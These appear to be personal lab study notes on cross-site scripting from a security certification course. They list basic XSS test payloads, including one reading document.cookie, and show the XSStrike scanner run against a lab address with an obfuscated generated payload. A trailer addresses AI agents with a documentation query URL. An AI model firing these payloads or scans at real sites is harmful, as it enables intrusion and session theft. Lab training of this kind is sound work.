# XSS Basics

## XSS Stored & Reflected

```
<script>alert(document.cookie)</script>
```

## XSS DOM

```
<img src="" onerror=alert(window.origin)>
```

## XSS Discovery

### Install

```
eldeim@htb[/htb]$ git clone https://github.com/s0md3v/XSStrike.git
eldeim@htb[/htb]$ cd XSStrike
eldeim@htb[/htb]$ pip install -r requirements.txt
eldeim@htb[/htb]$ python xsstrike.py

XSStrike v3.1.4
...SNIP...
```

### Use

```
eldeim@htb[/htb]$ python xsstrike.py -u "http://83.136.251.68:34219/?fullname=test&username=test&password=test&email=test%40test.com"

    XSStrike v3.1.5

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: fullname 
[-] No reflection found 
[!] Testing parameter: username 
[-] No reflection found 
[!] Testing parameter: password 
[-] No reflection found 
[!] Testing parameter: email 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072 
------------------------------------------------------------
[+] Payload: <Html%0aONmOUSeOVer%0a=%0a[8].find(confirm)> 
[!] Efficiency: 100 
[!] Confidence: 10 
[?] Would you like to continue scanning? [y/N]
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/cross-site-scripting-xss/xss-basics.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.